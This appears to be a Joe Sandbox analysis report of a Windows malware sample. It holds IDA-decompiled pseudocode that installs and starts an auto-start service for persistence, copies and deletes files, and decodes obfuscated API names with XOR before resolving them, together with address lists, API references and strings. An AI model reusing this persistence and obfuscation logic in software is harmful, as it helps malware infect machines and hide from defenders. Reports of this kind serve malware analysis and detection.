								asm("movaps [ebp-0x580], xmm0");
								asm("movups xmm0, [edx]");
								asm("movaps [ebp-0x570], xmm0");
								asm("movaps xmm0, [ebp-0x570]");
								asm("pxor xmm0, [ebp-0x580]");
								asm("movaps [ebp-0x590], xmm0");
								asm("movaps xmm0, [ebp-0x590]");
								asm("movups [eax], xmm0");
								_v728 = _v604;
								_t725 = _v728;
								_v644 = CreateServiceA(_v504, _v728, _v724, 0xf01ff, 0x10, 2, 0, _v720, 0, 0, 0, _v716, 0);
								E00971AB0( &_v1492);
								_v16 = 3;
								E00971AB0( &_v1596);
								_v16 = 1;
								E00971AB0( &_v1572);
								__eflags = _v644;
								if(_v644 != 0) {
									StartServiceA(_v644, 0, 0);
									_t725 = _v644;
									CloseServiceHandle(_v644);
								}
							} else {
								CloseServiceHandle(_v684);
							}
						}
					}
					CloseServiceHandle(_v504);
					_v16 = 0;
					E00971AB0( &_v440);
					goto L61;
				}
			}

0x00981810
0x00981810
0x00981811
0x00981819
0x00981820
0x00981824
0x00981826
0x00981828
0x00981833
0x00981834
0x00981835
0x0098183b
0x00981840
0x00981842
0x00981845
0x00981849
0x0098184f
0x00981859
0x00981869
0x0098186f
0x0098187c
0x00982832
0x00982832
0x0098283c
0x00982844
0x0098285c
0x00981882
0x00981882
0x0098188a
0x0098188b
0x00981890
0x00981893
0x0098189d
0x009818a9
0x009818b9
0x009818c7
0x009818bb
0x009818bb
0x009818bb
0x009818d7
0x009818e6
0x009818f0
0x009818fc
0x009818fc
0x00981908
0x00981914
0x0098191a
0x0098191f
0x0098192c
0x00981931
0x00981936
0x00981939
0x00981948
0x00981959
0x0098196e
0x00981976
0x0098197e
0x00981986
0x00981992
0x0098199e
0x009819aa
0x009819b5
0x009819bf
0x009819d1
0x009819d7
0x009819e2
0x009819ec
0x009819fe
0x00981a04
0x00981a10
0x00981a1b
0x00981a25
0x00981a30
0x00981a3a
0x00981a42
0x00981a4e
0x00981a54
0x00981a5b
0x00981a68
0x00981a6b
0x00981a72
0x00981a79
0x00981a81
0x00981a88
0x00981a95
0x00981a9e
0x00981ab9
0x00981abe
0x00981ac1
0x00981acb
0x00981ad7
0x00981ae7
0x00981af5
0x00981ae9
0x00981ae9
0x00981ae9
0x00981b05
0x00981b14
0x00981b1e
0x00981b2a
0x00981b2a
0x00981b36
0x00981b42
0x00981b48
0x00981b4d
0x00981b5a
0x00981b5f
0x00981b64
0x00981b67
0x00981b76
0x00981b82
0x00981b8e
0x00981b9e
0x00981bac
0x00981ba0
0x00981ba0
0x00981ba0
0x00981bbc
0x00981bcb
0x00981bd5
0x00981be1
0x00981be1
0x00981bed
0x00981bf9
0x00981c06
0x00981c06
0x00981c12
0x00981c1e
0x00981c2a
0x00981c3a
0x00981c48
0x00981c3c
0x00981c3c
0x00981c3c
0x00981c58
0x00981c67
0x00981c71
0x00981c7d
0x00981c7d
0x00981c89
0x00981c95
0x00981ca1
0x00981cad
0x00981cb9
0x00981cc9
0x00981cd7
0x00981ccb
0x00981ccb
0x00981ccb
0x00981ce7
0x00981cf4
0x00981cf6
0x00981d00
0x00981d0c
0x00981d0c
0x00981d18
0x00981d24
0x00981d38
0x00981d3d
0x00981d42
0x00981d4a
0x00981d59
0x00981d5d
0x00981d6a
0x00981d75
0x00981d75
0x00981d59
0x00981d7a
0x00981d84
0x00981d84
0x0098196e
0x00981d8f
0x00981d9b
0x00981da7
0x00981db7
0x00981dc5
0x00981db9
0x00981db9
0x00981db9
0x00981dd5
0x00981de4
0x00981dee
0x00981dfa
0x00981dfa
0x00981e06
0x00981e12
0x00981e1e
0x00981e27
0x00981e33
0x00981e43
0x00981e51
0x00981e45
0x00981e45
0x00981e45
0x00981e61
0x00981e70
0x00981e7a
0x00981e86
0x00981e86
0x00981e92
0x00981e98
0x00981e9e
0x00981eb4
0x00981ebc
0x00981ec2
0x00981ecb
0x00981ed3
0x00981edb
0x00981ee3
0x00981eef
0x00981efb
0x00981f07
0x00981f12
0x00981f1c
0x00981f2e
0x00981f34
0x00981f3f
0x00981f49
0x00981f5b
0x00981f61
0x00981f6d
0x00981f78
0x00981f82
0x00981f8d
0x00981f97
0x00981f9f
0x00981fab
0x00981fb1
0x00981fb8
0x00981fc5
0x00981fc8
0x00981fcf
0x00981fd6
0x00981fde
0x00981fe5
0x00981ff2
0x00981ffb
0x00982003
0x00982017
0x00982024
0x00982038
0x00982050
0x00982066
0x0098206e
0x00982076
0x0098207e
0x00982086
0x0098208e
0x00982096
0x0098209e
0x009820a6
0x009820ae
0x009820c6
0x009820d2
0x009820d8
0x009820e2
0x009820ee
0x009820fa
0x00982106
0x00982111
0x0098211b
0x0098212d
0x00982133
0x0098213e
0x00982148
0x0098215a
0x00982160
0x0098216c
0x00982177
0x00982181
0x0098218c
0x00982196
0x0098219e
0x009821aa
0x009821b0
0x009821b7
0x009821c4
0x009821c7
0x009821ce
0x009821d5
0x009821dd
0x009821e4
0x009821f1
0x009821fa
0x00982212
0x0098221e
0x00982224
0x0098222e
0x00982250
0x0098225e
0x0098226a
0x00982276
0x00982282
0x0098228e
0x00982294
0x0098229a
0x0098229e
0x009822ac
0x009822a0
0x009822a0
0x009822a0
0x009822bc
0x009822c9
0x009822cb
0x009822d5
0x009822e1
0x009822e1
0x009822ed
0x009822f9
0x00982305
0x00982311
0x0098231d
0x00982323
0x00982329
0x0098232d
0x0098233b
0x0098232f
0x0098232f
0x0098232f
0x0098234b
0x00982358
0x0098235a
0x00982364
0x00982370
0x00982370
0x0098237c
0x00982388
0x00982394
0x009823a0
0x009823ac
0x009823b7
0x009823c1
0x009823d3
0x009823d9
0x009823e4
0x009823ee
0x00982400
0x00982406
0x00982411
0x0098241b
0x0098242d
0x00982433
0x0098243e
0x00982448
0x0098245a
0x00982460
0x0098246b
0x00982475
0x00982487
0x0098248d
0x00982498
0x009824a2
0x009824b4
0x009824ba
0x009824c6
0x009824d2
0x009824dd
0x009824e7
0x009824f2
0x009824fc
0x00982507
0x00982511
0x0098251c
0x00982526
0x00982531
0x0098253b
0x00982546
0x00982550
0x00982558
0x00982564
0x0098256a
0x00982571
0x0098257e
0x00982581
0x00982588
0x0098258f
0x00982597
0x0098259e
0x009825ab
0x009825b7
0x009825bd
0x009825c4
0x009825d1
0x009825d4
0x009825db
0x009825e2
0x009825ea
0x009825f1
0x009825fe
0x0098260a
0x00982610
0x00982617
0x00982624
0x00982627
0x0098262e
0x00982635
0x0098263d
0x00982644
0x00982651
0x0098265a
0x00982666
0x00982672
0x0098267e
0x00982689
0x00982693
0x009826a5
0x009826ab
0x009826b6
0x009826c0
0x009826d2
0x009826d8
0x009826e4
0x009826f0
0x009826fb
0x00982705
0x00982710
0x0098271a
0x00982722
0x0098272e
0x00982734
0x0098273b
0x00982748
0x0098274b
0x00982752
0x00982759
0x00982761
0x00982768
0x00982775
0x0098277e
0x009827ac
0x009827c0
0x009827cc
0x009827d1
0x009827db
0x009827e0
0x009827ea
0x009827ef
0x009827f6
0x00982803
0x00982809
0x00982810
0x00982810
0x00982026
0x0098202d
0x0098202d
0x00982024
0x00981ecb
0x0098281d
0x00982823
0x0098282d
0x00000000
0x0098282d

APIs

OpenSCManagerA.SECHOST(00000000,00000000,000F003F,9FEF24BF), ref: 00981869

Part of subcall function 00981180: SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000,9FEF24BF), ref: 009811D6

DeleteFileA.KERNEL32(?), ref: 00981966
DeleteFileA.KERNEL32(?), ref: 00981C06
CopyFileA.KERNEL32(?,?,00000000), ref: 00981EB4
OpenServiceA.ADVAPI32(00000000,?,00000004), ref: 00982011
CloseServiceHandle.ADVAPI32(00000000), ref: 0098202D
GetUserNameA.ADVAPI32(?,00000104), ref: 00982066
CreateServiceA.ADVAPI32(00000000,?,?,000F01FF,00000010,00000002,00000000,?,00000000,00000000,00000000,?,00000000,?,?,?), ref: 009827BA
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00982803
CloseServiceHandle.ADVAPI32(00000000), ref: 00982810
CloseServiceHandle.ADVAPI32(00000000), ref: 0098281D

Strings

5a(|, xrefs: 00981A1B
5a(|, xrefs: 00982177
5a(|, xrefs: 00981F78
5a(|, xrefs: 009824DD
5a(|, xrefs: 009826FB

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: Service$CloseFileHandle$DeleteOpen$CopyCreateFolderManagerNamePathSpecialStartUser
String ID: 5a(|$5a(|$5a(|$5a(|$5a(|
API String ID: 801009106-2334786617
Opcode ID: 6cce2736cec670ae6916bff300e5bfa298b7b1df935be535ae36e76199f7c938
Instruction ID: e94984d00ff8951fd69c2f0c318240980112bf1cf6d92f9862265749f636fbce
Opcode Fuzzy Hash: 6cce2736cec670ae6916bff300e5bfa298b7b1df935be535ae36e76199f7c938
Instruction Fuzzy Hash: 60A2CCB4D096A88BDB26CF288894BD9BBB5AF59300F1481DAD94CA7351EB305FC5CF44

Uniqueness

Uniqueness Score: -1.00%

Function 009A5640 Relevance: 26.8, APIs: 10, Strings: 5, Instructions: 570
librarymemoryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E009A5640(void* __edi, void* __esi) {
				intOrPtr _v8;
				CHAR* _v16;
				char _v24;
				signed int _v32;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v148;
				char _v164;
				CHAR* _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				signed char _v185;
				signed char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				CHAR* _v200;
				char _v201;
				CHAR* _v208;
				CHAR* _v212;
				CHAR* _v216;
				intOrPtr* _v220;
				int _v224;
				char _v228;
				char _v232;
				char _v236;
				char _v240;
				char _v244;
				char _v248;
				char _v252;
				char _v256;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				char _v284;
				char _v288;
				char _v292;
				CHAR* _v296;
				CHAR* _v300;
				CHAR* _v304;
				CHAR* _v308;
				CHAR* _v312;
				char _v316;
				void* _v320;
				CHAR* _v324;
				char _v328;
				char _v332;
				char _v336;
				char _v340;
				char _v344;
				char _v348;
				CHAR* _v352;
				CHAR* _v356;
				CHAR* _v360;
				CHAR* _v364;
				CHAR* _v368;
				CHAR* _v372;
				struct HINSTANCE__* _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				intOrPtr _v408;
				CHAR* _v412;
				struct HINSTANCE__* _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				char _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				intOrPtr _v440;
				char _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				char _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				char _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				intOrPtr _v488;
				char _v492;
				intOrPtr _v496;
				intOrPtr _v500;
				CHAR* _v504;
				intOrPtr _v512;
				intOrPtr _v516;
				CHAR* _v520;
				struct HINSTANCE__* _v524;
				intOrPtr _v528;
				char _v532;
				intOrPtr _v536;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				char _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				char _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				char _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				char _v620;
				intOrPtr _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				char _v636;
				CHAR* _v640;
				CHAR* _v644;
				CHAR* _v648;
				void* __ebx;
				signed int _t337;
				signed int _t338;
				CHAR* _t355;
				void* _t428;
				void* _t563;
				void* _t564;
				void* _t569;

				_t564 = __esi;
				_t563 = __edi;
				_t428 = _t569;
				_v8 =  *((intOrPtr*)(_t428 + 4));
				_t567 = (_t569 - 0x00000008 & 0xfffffff0) + 4;
				_push(0xffffffff);
				_push(0x9c6820);
				_push( *[fs:0x0]);
				_push(_t428);
				_t337 =  *0x9d2008; // 0x9fef24bf
				_t338 = _t337 ^ (_t569 - 0x00000008 & 0xfffffff0) + 0x00000004;
				_v32 = _t338;
				_push(_t338);
				 *[fs:0x0] =  &_v24;
				_v168 = 0;
				if( *0x9d35d4 == 0) {
					_v179 = 0;
					_v188 = 0;
					_v189 = 0;
					_v191 = 0;
					_v192 = 0;
					_v193 = 0;
					_v348 = _v179;
					_v344 = _v188;
					_v340 = _v189;
					_v428 = 0x7536fe64;
					_v424 = 0x77fb8958;
					_v556 = _v428;
					_v552 = _v424;
					_v436 = 0x3131429;
					_v432 = 0x7cad90b7;
					_v548 = _v436;
					_v544 = _v432;
					_v296 =  &_v556;
					_v368 = _v640;
					_v124 = 0x7579627;
					_v120 = 0x383ec16;
					_v116 = 0x3131468;
					_v112 = 0x7cad90b7;
					_v190 = 0;
					_v336 = _v190;
					asm("movaps xmm0, [ebp-0x70]");
					asm("movaps [ebp-0x2a0], xmm0");
					asm("movups xmm0, [eax]");
					asm("movaps [ebp-0x290], xmm0");
					asm("movaps xmm0, [ebp-0x290]");
					asm("pxor xmm0, [ebp-0x2a0]");
					asm("movaps [ebp-0x3a0], xmm0");
					asm("movaps xmm0, [ebp-0x3a0]");
					asm("movups [ecx], xmm0");
					_v368 = _v296;
					_v332 = _v191;
					_v328 = _v192;
					_v280 = _v193;
					_v444 = 0x7532e572;
					_v440 = 0x67adde25;
					_v572 = _v444;
					_v568 = _v440;
					_v452 = 0x3137804;
					_v448 = 0x7cad90b7;
					_v564 = _v452;
					_v560 = _v448;
					_v300 =  &_v572;
					_v108 = 0x7579627;
					_v104 = 0x383ec16;
					_v100 = 0x3131468;
					_v96 = 0x7cad90b7;
					_v194 = 0;
					_v272 = _v194;
					asm("movaps xmm0, [ebp-0x60]");
					asm("movaps [ebp-0x2c0], xmm0");
					asm("movups xmm0, [edx]");
					asm("movaps [ebp-0x2b0], xmm0");
					asm("movaps xmm0, [ebp-0x2b0]");
					asm("pxor xmm0, [ebp-0x2c0]");
					asm("movaps [ebp-0x2d0], xmm0");
					asm("movaps xmm0, [ebp-0x2d0]");
					asm("movups [eax], xmm0");
					_v504 = _v300;
					_v524 = GetModuleHandleA(_v504);
					 *0x9d35d4 = GetProcAddress(_v524, _v368);
				}
				_v212 =  *((intOrPtr*)(_t428 + 8));
				while( *_v212 != 0) {
					if( *_v212 != 0x2e) {
						_v536 =  *0x9d35d4;
						_v212 = _v536(_v212);
						continue;
					} else {
						_v168 = _v212;
					}
					L9:
					if(_v168 == 0) {
						_v168 =  *((intOrPtr*)(_t428 + 8));
					} else {
						_v168 =  &(_v168[1]);
					}
					if( *0x9d35d4 == 0) {
						_v169 = 0;
						_v170 = 0;
						_v171 = 0;
						_v173 = 0;
						_v174 = 0;
						_v175 = 0;
						_v268 = _v169;
						_v316 = _v170;
						_v276 = _v171;
						_v460 = 0x7536fe64;
						_v456 = 0x77fb8958;
						_v620 = _v460;
						_v616 = _v456;
						_v468 = 0x3131429;
						_v464 = 0x7cad90b7;
						_v612 = _v468;
						_v608 = _v464;
						_v304 =  &_v620;
						_v372 = _v644;
						_v92 = 0x7579627;
						_v88 = 0x383ec16;
						_v84 = 0x3131468;
						_v80 = 0x7cad90b7;
						_v172 = 0;
						_v284 = _v172;
						asm("movaps xmm0, [ebp-0x50]");
						asm("movaps [ebp-0x2f0], xmm0");
						asm("movups xmm0, [eax]");
						asm("movaps [ebp-0x2e0], xmm0");
						asm("movaps xmm0, [ebp-0x2e0]");
						asm("pxor xmm0, [ebp-0x2f0]");
						asm("movaps [ebp-0x300], xmm0");
						asm("movaps xmm0, [ebp-0x300]");
						asm("movups [ecx], xmm0");
						_v372 = _v304;
						_v288 = _v173;
						_v292 = _v174;
						_v228 = _v175;
						_v476 = 0x7532e572;
						_v472 = 0x67adde25;
						_v588 = _v476;
						_v584 = _v472;
						_v484 = 0x3137804;
						_v480 = 0x7cad90b7;
						_v580 = _v484;
						_v576 = _v480;
						_v308 =  &_v588;
						_v76 = 0x7579627;
						_v72 = 0x383ec16;
						_v68 = 0x3131468;
						_v64 = 0x7cad90b7;
						_v176 = 0;
						_v232 = _v176;
						asm("movaps xmm0, [ebp-0x40]");
						asm("movaps [ebp-0x320], xmm0");
						asm("movups xmm0, [edx]");
						asm("movaps [ebp-0x310], xmm0");
						asm("movaps xmm0, [ebp-0x310]");
						asm("pxor xmm0, [ebp-0x320]");
						asm("movaps [ebp-0x330], xmm0");
						asm("movaps xmm0, [ebp-0x330]");
						asm("movups [eax], xmm0");
						_v412 = _v308;
						_v416 = GetModuleHandleA(_v412);
						 *0x9d35d4 = GetProcAddress(_v416, _v372);
					}
					_v208 = _v168;
					while( *_v208 != 0) {
						if( *_v208 != 0x2f) {
							_v420 =  *0x9d35d4;
							_v208 = _v420(_v208);
							continue;
						} else {
							_v168 = _v208;
						}
						L21:
						_v324 = _v168;
						_v320 = 0;
						_v224 = 0;
						if( *0x9d35d4 == 0) {
							_v177 = 0;
							_v178 = 0;
							_v201 = 0;
							_v181 = 0;
							_v182 = 0;
							_v183 = 0;
							_v236 = _v177;
							_v240 = _v178;
							_v244 = _v201;
							_v492 = 0x7536fe64;
							_v488 = 0x77fb8958;
							_v636 = _v492;
							_v632 = _v488;
							_v500 = 0x3131429;
							_v496 = 0x7cad90b7;
							_v628 = _v500;
							_v624 = _v496;
							_v312 =  &_v636;
							_v356 = _v648;
							_v60 = 0x7579627;
							_v56 = 0x383ec16;
							_v52 = 0x3131468;
							_v48 = 0x7cad90b7;
							_v180 = 0;
							_v248 = _v180;
							asm("movaps xmm0, [ebp-0x30]");
							asm("movaps [ebp-0x350], xmm0");
							asm("movups xmm0, [edx]");
							asm("movaps [ebp-0x340], xmm0");
							asm("movaps xmm0, [ebp-0x340]");
							asm("pxor xmm0, [ebp-0x350]");
							asm("movaps [ebp-0x360], xmm0");
							asm("movaps xmm0, [ebp-0x360]");
							asm("movups [eax], xmm0");
							_v356 = _v312;
							_v252 = _v181;
							_v256 = _v182;
							_v260 = _v183;
							_v532 = 0x7532e572;
							_v528 = 0x67adde25;
							_v604 = _v532;
							_v600 = _v528;
							_v516 = 0x3137804;
							_v512 = 0x7cad90b7;
							_v596 = _v516;
							_v592 = _v512;
							_v352 =  &_v604;
							_v140 = 0x7579627;
							_v136 = 0x383ec16;
							_v132 = 0x3131468;
							_v128 = 0x7cad90b7;
							_v184 = 0;
							_v264 = _v184;
							asm("movaps xmm0, [ebp-0x80]");
							asm("movaps [ebp-0x380], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x370], xmm0");
							asm("movaps xmm0, [ebp-0x370]");
							asm("pxor xmm0, [ebp-0x380]");
							asm("movaps [ebp-0x390], xmm0");
							asm("movaps xmm0, [ebp-0x390]");
							asm("movups [edx], xmm0");
							_v520 = _v352;
							_v376 = GetModuleHandleA(_v520);
							 *0x9d35d4 = GetProcAddress(_v376, _v356);
						}
						_v216 =  *((intOrPtr*)(_t428 + 8));
						while(1) {
							_t507 =  *_v216;
							if( *_v216 == 0) {
								break;
							}
							if( *_v216 != 0x2f) {
								_v380 =  *0x9d35d4;
								_v216 = _v380(_v216);
								continue;
							} else {
								_t507 = _v216;
								_v200 = _v216;
							}
							L30:
							if(_v200 != 0) {
								_v200 =  &(_v200[2]);
								E00971810( &_v164, "12we3fwe");
								_v16 = 0;
								_v384 = _v148;
								if(_v384 >= 0x12) {
									L38:
									_v16 = 1;
									E00987A20( &_v164, 0);
									_v16 = 0;
								} else {
									_v388 = _v148;
									if(_v388 != 0) {
										_v360 = 0;
									} else {
										_v360 = 1;
									}
									_v185 = _v360;
									if((_v185 & 0x000000ff) != 0) {
										goto L38;
									} else {
										E00986AB0(_t428,  &_v164, _t563, _t564,  &_v164);
									}
								}
								_v392 = _v148;
								if(_v392 != 0) {
									_v364 = 0;
								} else {
									_v364 = 1;
								}
								_v186 = _v364;
								if((_v186 & 0x000000ff) != 0) {
									E009A4120(_t428,  &_v164, _t563, _t564, 5);
									_v220 = 0x9ce354;
									_v396 = _v220 + 1;
									do {
										_v187 =  *_v220;
										_v220 = _v220 + 1;
									} while (_v187 != 0);
									_v400 = _v220 - _v396;
									_v404 = _v400;
									_v408 = _v404;
									E00971C50(_t428,  &_v164, _t563, _t564, "stryd", _v408);
								}
								_v16 = 0xffffffff;
								E00971AB0( &_v164);
								if(_v324 != 0) {
									_v224 = _v324 - _v200 + 1;
								} else {
									_v224 = lstrlenA(_v200) + 1;
								}
								_v320 = HeapAlloc(GetProcessHeap(), 8, _v224 + 1);
								lstrcpynA(_v320, _v200, _v224);
								_t507 = _v320;
								 *( *(_t428 + 0xc)) = _v320;
								 *((intOrPtr*)( *((intOrPtr*)(_t428 + 0x10)))) = _v324;
								_t355 = 1;
							} else {
								_t355 = 0;
							}
							 *[fs:0x0] = _v24;
							return E009AC2E8(_t355, _t428, _v32 ^ _t567, _t507, _t563, _t564);
						}
						_v200 = 0;
						goto L30;
					}
					_v168 = 0;
					goto L21;
				}
				_v168 = 0;
				goto L9;
			}

0x009a5640
0x009a5640
0x009a5641
0x009a5650
0x009a5654
0x009a5656
0x009a5658
0x009a5663
0x009a5664
0x009a566b
0x009a5670
0x009a5672
0x009a5675
0x009a5679
0x009a567f
0x009a5690
0x009a5698
0x009a56a0
0x009a56a8
0x009a56b0
0x009a56b8
0x009a56c0
0x009a56cc
0x009a56d8
0x009a56e4
0x009a56ef
0x009a56f9
0x009a570b
0x009a5711
0x009a571c
0x009a5726
0x009a5738
0x009a573e
0x009a574a
0x009a5756
0x009a5761
0x009a5768
0x009a5770
0x009a5777
0x009a577c
0x009a5788
0x009a578e
0x009a5792
0x009a579f
0x009a57a2
0x009a57a9
0x009a57b0
0x009a57b8
0x009a57bf
0x009a57cc
0x009a57d5
0x009a57e1
0x009a57ed
0x009a57f9
0x009a5804
0x009a580e
0x009a5820
0x009a5826
0x009a5831
0x009a583b
0x009a584d
0x009a5853
0x009a585f
0x009a586a
0x009a5871
0x009a5879
0x009a5880
0x009a5885
0x009a5891
0x009a5897
0x009a589b
0x009a58a8
0x009a58ab
0x009a58b2
0x009a58b9
0x009a58c1
0x009a58c8
0x009a58d5
0x009a58de
0x009a58f1
0x009a590b
0x009a590b
0x009a5913
0x009a5939
0x009a5952
0x009a5920
0x009a5933
0x00000000
0x009a5954
0x009a595a
0x009a595a
0x009a596e
0x009a5975
0x009a598b
0x009a5977
0x009a5980
0x009a5980
0x009a5998
0x009a59a0
0x009a59a8
0x009a59b0
0x009a59b8
0x009a59c0
0x009a59c8
0x009a59d4
0x009a59e0
0x009a59ec
0x009a59f7
0x009a5a01
0x009a5a13
0x009a5a19
0x009a5a24
0x009a5a2e
0x009a5a40
0x009a5a46
0x009a5a52
0x009a5a5e
0x009a5a69
0x009a5a70
0x009a5a78
0x009a5a7f
0x009a5a84
0x009a5a90
0x009a5a96
0x009a5a9a
0x009a5aa7
0x009a5aaa
0x009a5ab1
0x009a5ab8
0x009a5ac0
0x009a5ac7
0x009a5ad4
0x009a5add
0x009a5ae9
0x009a5af5
0x009a5b01
0x009a5b0c
0x009a5b16
0x009a5b28
0x009a5b2e
0x009a5b39
0x009a5b43
0x009a5b55
0x009a5b5b
0x009a5b67
0x009a5b72
0x009a5b79
0x009a5b81
0x009a5b88
0x009a5b8d
0x009a5b99
0x009a5b9f
0x009a5ba3
0x009a5bb0
0x009a5bb3
0x009a5bba
0x009a5bc1
0x009a5bc9
0x009a5bd0
0x009a5bdd
0x009a5be6
0x009a5bf9
0x009a5c13
0x009a5c13
0x009a5c1e
0x009a5c44
0x009a5c5d
0x009a5c2b
0x009a5c3e
0x00000000
0x009a5c5f
0x009a5c65
0x009a5c65
0x009a5c79
0x009a5c7f
0x009a5c85
0x009a5c8f
0x009a5ca0
0x009a5ca8
0x009a5cb0
0x009a5cb8
0x009a5cc0
0x009a5cc8
0x009a5cd0
0x009a5cdc
0x009a5ce8
0x009a5cf4
0x009a5cff
0x009a5d09
0x009a5d1b
0x009a5d21
0x009a5d2c
0x009a5d36
0x009a5d48
0x009a5d4e
0x009a5d5a
0x009a5d66
0x009a5d71
0x009a5d78
0x009a5d80
0x009a5d87
0x009a5d8c
0x009a5d98
0x009a5d9e
0x009a5da2
0x009a5daf
0x009a5db2
0x009a5db9
0x009a5dc0
0x009a5dc8
0x009a5dcf
0x009a5ddc
0x009a5de5
0x009a5df1
0x009a5dfd
0x009a5e09
0x009a5e14
0x009a5e1e
0x009a5e30
0x009a5e36
0x009a5e41
0x009a5e4b
0x009a5e5d
0x009a5e63
0x009a5e6f
0x009a5e7a
0x009a5e81
0x009a5e89
0x009a5e90
0x009a5e95
0x009a5ea1
0x009a5ea7
0x009a5eab
0x009a5eb8
0x009a5ebb
0x009a5ec2
0x009a5ec9
0x009a5ed1
0x009a5ed8
0x009a5ee5
0x009a5eee
0x009a5f01
0x009a5f1b
0x009a5f1b
0x009a5f23
0x009a5f4a
0x009a5f50
0x009a5f55
0x00000000
0x00000000
0x009a5f63
0x009a5f31
0x009a5f44
0x00000000
0x009a5f65
0x009a5f65
0x009a5f6b
0x009a5f6b
0x009a5f7f
0x009a5f86
0x009a5f98
0x009a5fa9
0x009a5fae
0x009a5fbb
0x009a5fc8
0x009a6020
0x009a6020
0x009a602c
0x009a6031
0x009a5fca
0x009a5fd0
0x009a5fdd
0x009a5feb
0x009a5fdf
0x009a5fdf
0x009a5fdf
0x009a5ffb
0x009a600a
0x00000000
0x009a600c
0x009a6019
0x009a6019
0x009a600a
0x009a603b
0x009a6048
0x009a6056
0x009a604a
0x009a604a
0x009a604a
0x009a6066
0x009a6075
0x009a6083
0x009a6088
0x009a609b
0x009a60a1
0x009a60a9
0x009a60af
0x009a60b6
0x009a60cb
0x009a60d7
0x009a60e3
0x009a60fb
0x009a60fb
0x009a6100
0x009a610d
0x009a6119
0x009a6142
0x009a611b
0x009a612b
0x009a612b
0x009a6161
0x009a617c
0x009a6185
0x009a618b
0x009a6196
0x009a6198
0x009a5f88
0x009a5f88
0x009a5f88
0x009a619d
0x009a61b5
0x009a61b5
0x009a5f75
0x00000000
0x009a5f75
0x009a5c6f
0x00000000
0x009a5c6f
0x009a5964
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,9FEF24BF), ref: 009A58EB
GetProcAddress.KERNEL32(?,?), ref: 009A5905
GetModuleHandleA.KERNEL32(?,9FEF24BF), ref: 009A5BF3
GetProcAddress.KERNEL32(?,?), ref: 009A5C0D
GetModuleHandleA.KERNEL32(?,9FEF24BF), ref: 009A5EFB
GetProcAddress.KERNEL32(?,?), ref: 009A5F15
lstrlenA.KERNEL32(00000000,12we3fwe,9FEF24BF), ref: 009A6122
GetProcessHeap.KERNEL32(00000008,-00000001,12we3fwe,9FEF24BF), ref: 009A6154
HeapAlloc.KERNEL32(00000000), ref: 009A615B
lstrcpynA.KERNEL32(00000000,00000000,00000000), ref: 009A617C

Strings

12we3fwe, xrefs: 009A5F9E
r2u, xrefs: 009A5B0C
r2u, xrefs: 009A5E14
r2u, xrefs: 009A5804
stryd, xrefs: 009A6088, 009A60F0

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: AddressHandleModuleProc$Heap$AllocProcesslstrcpynlstrlen
String ID: 12we3fwe$r2u$r2u$r2u$stryd
API String ID: 2437662777-4262927524
Opcode ID: c717eb841a44b6352501405ef2bc3e751e297229e948476ff338f1311d8ce46a
Instruction ID: 5848ad7501380a41411a8c9df3ceb0df95c490b0d691613b9d687e9be1c2e417
